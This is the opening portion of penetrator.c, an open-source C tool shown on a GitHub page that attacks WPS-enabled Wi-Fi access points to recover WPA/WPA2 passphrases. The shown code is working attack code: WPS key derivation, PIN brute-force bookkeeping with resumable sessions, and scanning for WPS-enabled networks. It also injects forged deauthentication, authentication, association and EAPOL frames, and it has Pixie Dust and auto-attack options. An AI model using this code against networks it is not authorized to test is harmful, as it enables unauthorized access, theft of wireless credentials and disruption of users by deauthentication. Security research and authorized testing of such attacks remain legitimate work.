-
Notifications
You must be signed in to change notification settings - Fork 26
/
penetrator.c
executable file
·2208 lines (1977 loc) · 64.3 KB
/
penetrator.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
penetrator - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2015 David Cernak <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <pcap.h>
#include <time.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/stat.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <openssl/dh.h>
#include <openssl/aes.h>
#include <openssl/sha.h>
#include <openssl/hmac.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
int VERBOSE;
unsigned TIMEOUT;
int MAXRESEND;
int PIXIEDUST;
int FUCKNACK;
int FUCKSESSIONS;
unsigned long long int MIDDELAY;
int AKTCHANNEL;
char *homedir;
unsigned long long int FAILSLEEP;
int autoatak;
int killgui;
sem_t passes_sem;
typedef struct passes{
char pin[9];
char pass[256];
char ssid[256];
int passlen;
struct passes *next;
}pASSES;
pASSES *passlist;
unsigned char dh_g[1] = { 0x02 };
unsigned char dh_p[192] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
void *sha256_hmac(char *key,int klen,char *data,int datalen){
unsigned char *ret=malloc(32);
unsigned int l=32;
HMAC_CTX ctx;
HMAC_CTX_init(&ctx);
HMAC_Init_ex(&ctx,key,klen,EVP_sha256(),0);
HMAC_Update(&ctx,(unsigned char*)data,datalen);
HMAC_Final(&ctx,ret,&l);
HMAC_CTX_cleanup(&ctx);
return ret;
}
void *kdf(void *kdk,char *label,int size){
int slen=strlen(label);
void *hashme=malloc(8+slen);
memcpy(hashme+4,label,slen);
*(int*)(hashme+4+slen)=__builtin_bswap32(size);
int i,iter=(size+255)/256;
void *ret=malloc(iter*256);
void *cur=ret;
for(i=1;i<=iter;i++){
*(int*)(hashme)=__builtin_bswap32(i);
char *tmp=sha256_hmac(kdk,32,hashme,8+slen);
memcpy(cur,tmp,32);
free(tmp);
cur+=32;
}
free(hashme);
return ret;
}
int ComputeChecksum(unsigned long int PIN){//From official wps spec
unsigned long int accum = 0;
PIN *= 10;
accum += 3 * ((PIN / 10000000) % 10);
accum += 1 * ((PIN / 1000000) % 10);
accum += 3 * ((PIN / 100000) % 10);
accum += 1 * ((PIN / 10000) % 10);
accum += 3 * ((PIN / 1000) % 10);
accum += 1 * ((PIN / 100) % 10);
accum += 3 * ((PIN / 10) % 10);
int digit = (accum % 10);
return (10 - digit) % 10;
}
//CRC32 is ripped from stackoverflow pls: http://stackoverflow.com/questions/11523844/802-11-fcs-crc32 - thanks
const u_int32_t crctable[] = {
0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, 0x706af48fL, 0xe963a535L, 0x9e6495a3L,
0x0edb8832L, 0x79dcb8a4L, 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, 0x90bf1d91L,
0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L,
0x136c9856L, 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, 0xfa0f3d63L, 0x8d080df5L,
0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L,
0x26d930acL, 0x51de003aL, 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, 0xb8bda50fL,
0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL,
0x76dc4190L, 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, 0x9fbfe4a5L, 0xe8b8d433L,
0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L,
0x65b0d9c6L, 0x12b7e950L, 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, 0xfbd44c65L,
0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL,
0x4369e96aL, 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, 0xaa0a4c5fL, 0xdd0d7cc9L,
0x5005713cL, 0x270241aaL, 0xbe0b1010L, 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL,
0xedb88320L, 0x9abfb3b6L, 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, 0x73dc1683L,
0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L,
0xf00f9344L, 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, 0x196c3671L, 0x6e6b06e7L,
0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL,
0xd80d2bdaL, 0xaf0a1b4cL, 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, 0x4669be79L,
0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL,
0xc5ba3bbeL, 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, 0x2cd99e8bL, 0x5bdeae1dL,
0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L,
0x86d3d2d4L, 0xf1d4e242L, 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, 0x18b74777L,
0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L,
0xa00ae278L, 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, 0x4969474dL, 0x3e6e77dbL,
0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, 0xcdd70693L, 0x54de5729L, 0x23d967bfL,
0xb3667a2eL, 0xc4614ab8L, 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, 0x2d02ef8dL
};
u_int32_t crc32(u_int32_t bytes_sz, const u_int8_t *bytes)
{
u_int32_t crc = ~0;
u_int32_t i;
for(i = 0; i < bytes_sz; ++i) {
crc = crctable[(crc ^ bytes[i]) & 0xff] ^ (crc >> 8);
}
return ~crc;
}
unsigned long long int ffmac;
typedef struct scanlist{
int id;
char pwr;
int channel;
char *ssid;
int wps;
int lock;
unsigned long long int bssid;
struct scanlist *next;
}SCANLIST;
int threads;
typedef struct pinlist{
int psk;
struct pinlist *next;
}PINLIST;
typedef struct pins{
int mode; //0-PSK1 1-PSK2
int psk1; //use this if mode 1
int psk2; //use this if mode 0
PINLIST *unused1,*used1;
PINLIST *unused2,*used2;
sem_t mutex;
}PINS;
void key_init(PINS *keys){
sem_init(&(keys->mutex),0,1);
keys->psk1=0;
keys->psk2=0;
keys->mode=0;
keys->unused1=NULL;
keys->unused2=NULL;
keys->used1=NULL;
keys->used2=NULL;
}
void key_mode(PINS *keys,int psk){
sem_wait(&(keys->mutex));
keys->psk1=psk;
keys->mode=1;
sem_post(&(keys->mutex));
}
void key_gen(PINS *keys){
int i;
PINLIST *last=NULL;
for(i=0;i<10000;i++){
if(!last){
keys->unused1=malloc(sizeof(PINLIST));
keys->unused1->psk=i;
keys->unused1->next=NULL;
last=keys->unused1;
}else{
PINLIST *add=malloc(sizeof(PINLIST));
add->psk=i;
add->next=NULL;
last->next=add;
last=add;
}
}
last=NULL;
for(i=0;i<1000;i++){
if(!last){
keys->unused2=malloc(sizeof(PINLIST));
keys->unused2->psk=i;
keys->unused2->next=NULL;
last=keys->unused2;
}else{
PINLIST *add=malloc(sizeof(PINLIST));
add->psk=i;
add->next=NULL;
last->next=add;
last=add;
}
}
}
void key_load(char *fn,PINS *keys){
if(FUCKSESSIONS){key_gen(keys);return;}
FILE *f=fopen(fn,"r");
if(!f){/*printf("[PENETRATOR] Unable to open file\n");*/return;}
sem_wait(&(keys->mutex));
PINLIST *last1=NULL,*last2=NULL;
while(1){
int psk,part;
if(fscanf(f,"%d:%d\n",&part,&psk)<2)break;
PINLIST *add=malloc(sizeof(PINLIST));
add->next=NULL;
add->psk=psk;
if(part==1){
if(last1)last1->next=add;
else keys->unused1=add;
last1=add;
}else if(part==2){
if(last2)last2->next=add;
else keys->unused2=add;
last2=add;
}else {keys->psk1=psk;keys->mode=1;}
}
sem_post(&(keys->mutex));
fclose(f);
}
void key_save(char *fn,PINS *keys){
FILE *f=fopen(fn,"w");
if(!f){printf("[PENETRATOR] Unable to open file\n");return;}
sem_wait(&(keys->mutex));
PINLIST *akt;
if(keys->mode)fprintf(f,"3:%d\n",keys->psk1);
akt=keys->used1;
while(akt){
fprintf(f,"1:%d\n",akt->psk);
akt=akt->next;
}
akt=keys->unused1;
while(akt){
fprintf(f,"1:%d\n",akt->psk);
akt=akt->next;
}
akt=keys->used2;
while(akt){
fprintf(f,"2:%d\n",akt->psk);
akt=akt->next;
}
akt=keys->unused2;
while(akt){
fprintf(f,"2:%d\n",akt->psk);
akt=akt->next;
}
sem_post(&(keys->mutex));
fclose(f);
}
void key_remove(PINS *keys,int psk,int mode){
sem_wait(&(keys->mutex));
if(!mode){
PINLIST *akt=keys->used1;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used1=akt->next;
break;
}
last=akt;
akt=akt->next;
}
free(akt);
sem_post(&(keys->mutex));
return;
}
PINLIST *akt=keys->used2;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used2=akt->next;
break;
}
last=akt;
akt=akt->next;
}
free(akt);
sem_post(&(keys->mutex));
return;
}
int key_get(PINS *keys,int *out){
sem_wait(&(keys->mutex));
if(!keys->mode){
if(!keys->unused1&&!keys->used1)return 3;
if(!keys->unused1)return 2;
PINLIST *my=keys->unused1;
keys->unused1=my->next;
my->next=keys->used1;
keys->used1=my;
*out=my->psk;
sem_post(&(keys->mutex));
return 0;
}
if(!keys->unused2&&!keys->used2)return 3;
if(!keys->unused2)return 2;
PINLIST *my=keys->unused2;
keys->unused2=my->next;
my->next=keys->used2;
keys->used2=my;
*out=my->psk;
sem_post(&(keys->mutex));
return 1;
}
void key_return(PINS *keys,int psk,int mode){
sem_wait(&(keys->mutex));
if(!mode){
PINLIST *akt=keys->used1;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used1=akt->next;
break;
}
last=akt;
akt=akt->next;
}
akt->next=keys->unused1;
keys->unused1=akt;
sem_post(&(keys->mutex));
return;
}
PINLIST *akt=keys->used2;
PINLIST *last=NULL;
while(akt){
if(akt->psk==psk){
if(last)last->next=akt->next;
else keys->used2=akt->next;
break;
}
last=akt;
akt=akt->next;
}
akt->next=keys->unused2;
keys->unused2=akt;
sem_post(&(keys->mutex));
return;
}
typedef struct attack_info{
int ded;
int thread_id;//thread id - used when removing thread from memory
char iv[16];//iv for aes
int lastpsk;//last part of pin retrieved by key_get
int lastmode;
PINS *pins;//retrieve pins from here
char pin[9];
unsigned long long int src_mac;
unsigned long long int tgt_mac;
char *ssid;
int wps;
int wpslock;
unsigned char *packet;//fresh packet
int len;//packet len
int radiotap_len;//len of radiotap header
int sn;//sequence number
struct attack_info *next;//linked list
sem_t mutex;//thread waits here for packets
sem_t ready;//signals here when reading finished
unsigned long long int lastsend;//last packet transmission
unsigned char eap_id;//eap id from last received msg
char secret[2048];
char rh1[32],rh2[32];
char pke[2048];
char pkr[2048];
char ehash1[2048];
char ehash2[2048];
char enonce[2048];
char rnonce[2048];
int printedshit;
char derived[2048];//derived key (kdf) - authkey+keywrapkey+some other shit
int pixiewin;
char rs1[2048];
char rs2[2048];
char ruuid[2048];
void *m1,*m3,*m5;//last messages for authenticator
int m1l,m3l,m5l;//tehir len
char sent[6];
char got[7];
int gotm5;
void *resendmsg;
int resendlen;
int resended;
int wins;
int inarow;
unsigned long long int waittil,lastsuc;
int active;
char foundpass[256];
char foundpin[9];
int pixiefail;
unsigned long long int timelimit;
}ATTACK_INFO;
int hex2raw(char *hex,void *out){int i;for(i=0;hex[i];i+=3){sscanf((char*)hex+i,"%02hhx",(unsigned char*)out+(i/3));if(hex[i+2]==0)break;}return (i+3)/3;}
int hexlen(char *hex){int i,len=0;for(i=0;hex[i];i++)if(hex[i]==' ')len++;return len+1;}
void printhex(void *hex,int len){int i;for(i=0;i<len;i++){if(i)putchar(':');printf("%02hhx",((unsigned char*)hex)[i]);}putchar('\n');}
void raw2hex(void *hex,char *out,int len){*out=0;int i;for(i=0;i<len;i++){if(i)strcat(out,":");char cat[32];sprintf(cat,"%02hhx",((unsigned char*)hex)[i]);strcat(out,cat);}}
unsigned long long int get_data(unsigned char *mac,int len,int reverse){
unsigned long long int data=0;
int i;
if(reverse)for(i=0;i<len;i++)((char*)&data)[len-i-1]=mac[i];
else for(i=0;i<len;i++)((char*)&data)[i]=mac[i];
return data;
}
unsigned long long int hex2int(char *hex,int reverse){
char out[8];
int l=hex2raw(hex,out);
unsigned long long int ret=get_data((unsigned char*)out,l,reverse);
return ret;
}
u_int64_t gettick() { //this is somewhere from stackoveflow too, thanks
struct timespec ts;
unsigned theTick = 0U;
clock_gettime( CLOCK_REALTIME, &ts );
theTick = ts.tv_nsec / 1000000;
theTick += ts.tv_sec * 1000;
return theTick;
}
void parsebeacon(unsigned char *pkt,int len,char **ssid,int *wps,int *wpslock,int *channel){
*wps=0;
*wpslock=0;
while(1){
if(len<2)return;
int tagnumber=pkt[0];
int taglen=pkt[1];
if(tagnumber==0&&ssid&&!(*ssid)){
if(taglen==0){(*ssid)=calloc(1,5);strcpy(*ssid,"NULL");}
else{
(*ssid)=calloc(1,taglen+1);
memcpy(*ssid,pkt+2,taglen);
}
}else if(tagnumber==3&&channel)*channel=pkt[2];
else if(tagnumber==221&&wps){
unsigned char *tmp=pkt+6;
int tmplen=taglen-4;
int oui=get_data(pkt+2,4,0);
if(oui==0x04F25000)while(1){
if(tmplen<4)break;
int type=get_data(tmp,2,1);
int wlen=get_data(tmp+2,2,1);
if(type==4170)*wps=tmp[4];
if(type==4183&&wpslock)*wpslock=tmp[4];
tmp+=4+wlen;
tmplen-=(4+wlen);
}
}
pkt+=(taglen+2);
len-=(taglen+2);
}
}
ATTACK_INFO *attack_list;
sem_t mutex;
int found;
void scanshit(const unsigned char *packet, struct pcap_pkthdr head,SCANLIST **list){
unsigned char *gotpkt=(unsigned char*)packet;
int len=head.len;
if(len<4)return;
int flags=gotpkt[4]&2;
int fcs=0;
if(flags){
if(len<16)return;
fcs=gotpkt[16]&16;
}
unsigned radiotap_len=gotpkt[2]+(gotpkt[3]<<8);
if(fcs){
int fcs=get_data(gotpkt+(len-4),4,0);
int hash=crc32(len-(radiotap_len+4),gotpkt+radiotap_len);
if(fcs!=hash){if(VERBOSE>0)printf("[PENETRATOR] Received packet with wrong FCS\n");return;}
}
unsigned char *pkt=gotpkt+radiotap_len;
len-=radiotap_len;
if(len<15)return;
unsigned long long int src=get_data(pkt+10,6,0);
if(pkt[0]==128){
pkt+=36;
len-=36;
char *ssid=NULL;
int wps,wpsl,chnl;
parsebeacon(pkt,len,&ssid,&wps,&wpsl,&chnl);
if(!wps&&ssid){free(ssid);return;}
SCANLIST *akt=*list;
int exists=0;
while(akt){
if(akt->bssid==src){exists=1;break;}
akt=akt->next;
}
if(!exists){
SCANLIST *add=malloc(sizeof(SCANLIST));
add->bssid=src;
add->ssid=ssid;
add->channel=chnl;
add->wps=wps;
add->lock=wpsl;
add->pwr=packet[22];
add->next=*list;
add->id=found++;
*list=add;
char *mac=(char*)&src;
char lok[4];
if(wpsl)strcpy(lok,"yes");
else strcpy(lok,"no");
printf("%02d %hhd %02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX\t%d\t%d.%d\t%s\t%s\n",add->id,add->pwr,mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],chnl,wps>>4,wps&15,lok,ssid);
}
}
}
void parsepacket(const unsigned char *packet, struct pcap_pkthdr head){
unsigned char *gotpkt=(unsigned char*)packet;
int len=head.len;
if(len<4)return;
int flags=gotpkt[4]&2;
int fcs=0;
if(flags){
if(len<16)return;
fcs=gotpkt[16]&16;
}
unsigned radiotap_len=gotpkt[2]+(gotpkt[3]<<8);
if(fcs){
int fcs=get_data(gotpkt+(len-4),4,0);
int hash=crc32(len-(radiotap_len+4),gotpkt+radiotap_len);
if(fcs!=hash){if(VERBOSE>0)printf("[PENETRATOR] Received packet with wrong FCS\n");return;}
}
unsigned char *pkt=gotpkt+radiotap_len;
len-=radiotap_len;
if(len<15)return;
unsigned long long int dest=get_data(pkt+4,6,1);
unsigned long long int src=get_data(pkt+10,6,1);
sem_wait(&mutex);
ATTACK_INFO *attack=attack_list;
while(attack){
if(attack->active&&attack->tgt_mac==src&&(attack->src_mac==dest||dest==ffmac)){
attack->packet=malloc(head.len);
attack->len=head.len;
attack->radiotap_len=radiotap_len;
memcpy(attack->packet,gotpkt,attack->len);
sem_post(&(attack->mutex));
sem_wait(&(attack->ready));
}
attack=attack->next;
}
sem_post(&mutex);
}
pcap_t *fp;
sem_t sendmutex;
void int2hex(unsigned long long int macint,char *out){
unsigned char *mac=(unsigned char*)&macint;
sprintf(out,"%02hhX %02hhX %02hhX %02hhX %02hhX %02hhX",mac[5],mac[4],mac[3],mac[2],mac[1],mac[0]);
}
void sn2hex(int sn,char *out){
unsigned short snint=sn<<4;
sprintf(out,"%02hhX %02hhX",((unsigned char*)&snint)[0],((unsigned char*)&snint)[1]);
}
int deauth(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 c0 00 34 00 %s %s %s %s 03 00",tgt,src,tgt,sn);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending deauth\n");
return 0;
}
int auth(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 b0 00 34 00 %s %s %s %s 00 00 01 00 00 00",tgt,src,tgt,sn);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending auth request\n");
return 0;
}
int parse_auth_response(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<29||pkt[0]!=176)return 1;
int seq=get_data(pkt+26,2,0);
int cod=get_data(pkt+28,2,0);
if(seq==2&&cod==0)return 0;
return 1;
}
int assoc(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
char ssid[512];
memset(ssid,0,512);
int slen=strlen(attack->ssid);
if(slen>255){printf("[PENETRATOR] SSID is fucked up hard m8\n");return 1;}
raw2hex(attack->ssid,ssid,slen);
unsigned char ssid_len=slen;
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 00 00 3a 01 %s %s %s %s 31 04 64 00 00 %02hhX %s \
01 08 82 84 8b 96 0c 12 18 24 32 04 30 48 60 6c dd 0e 00 50 f2 04 10 4a 00 01 10 10 3a 00 01 02",tgt,src,tgt,sn,ssid_len,ssid);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending association request\n");
return 0;
}
int parse_assoc_response(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<29||pkt[0]!=16)return 1;
int suc=get_data(pkt+26,2,0);
if(!suc)return 0;
return 1;
}
int eapol_start(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s aa aa 03 00 00 00 88 8e 01 01 00 00",tgt,src,tgt,sn);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
